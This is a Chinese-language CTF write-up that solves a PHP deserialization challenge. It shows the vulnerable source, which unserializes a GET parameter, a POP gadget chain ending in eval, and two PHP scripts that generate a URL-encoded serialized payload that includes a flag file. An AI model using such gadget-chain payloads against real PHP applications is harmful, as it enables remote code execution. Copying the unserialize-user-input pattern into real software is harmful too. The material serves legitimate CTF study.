php反序化（重复利用同一个类）

题目：

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

利用链：

class TianXiWei:__wakeup{$this->ext->nisa($this->x);-->class Ilovetxw:__call($fun1,$arg){$this->huang->fun=$arg[0];-->class four:__set($name, $value){strtolower($this->a);-->class Ilovetxw:__toString(){return $bb();-->class NISA:__invoke(){eval($this->txw4ever);}}}}}

因为要用两个Ilovetxw类，为了防止出现无线循环，可以分两个文件：

<?php
class four{
	public $a;
    private $fun;
    public function __construct() {
            $this -> a = new Ilovetxw();
        }
}


class Ilovetxw{
	public $huang;
    public $su;
    public function __construct() {
            $this -> su = new NISA();
        }        

}
class NISA{
	public $fun;
    public $txw4ever;
    public function __construct() {
            $this -> txw4ever = "include('/fllllllaaag');";
        }        

}




$ser=new four();
echo urlencode(serialize($ser));

<?php
class TianXiWei{
    public $ext;
    public $x;
    public function __construct() {
            $this -> ext = new Ilovetxw();
        }

}
class Ilovetxw{
	public $huang;
    public $su;
        public function __construct() {
            $this -> huang = unserialize(urldecode("O%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A24%3A%22include%28%27%2Ffllllllaaag%27%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3BN%3B%7D"));
        }
}
$ser=new TianXiWei();
echo urlencode(serialize($ser));

或者不用__construct赋值，而用__invoke带参,然后new两次，让两次new的内容不一样

赏

谢谢你请我吃糖果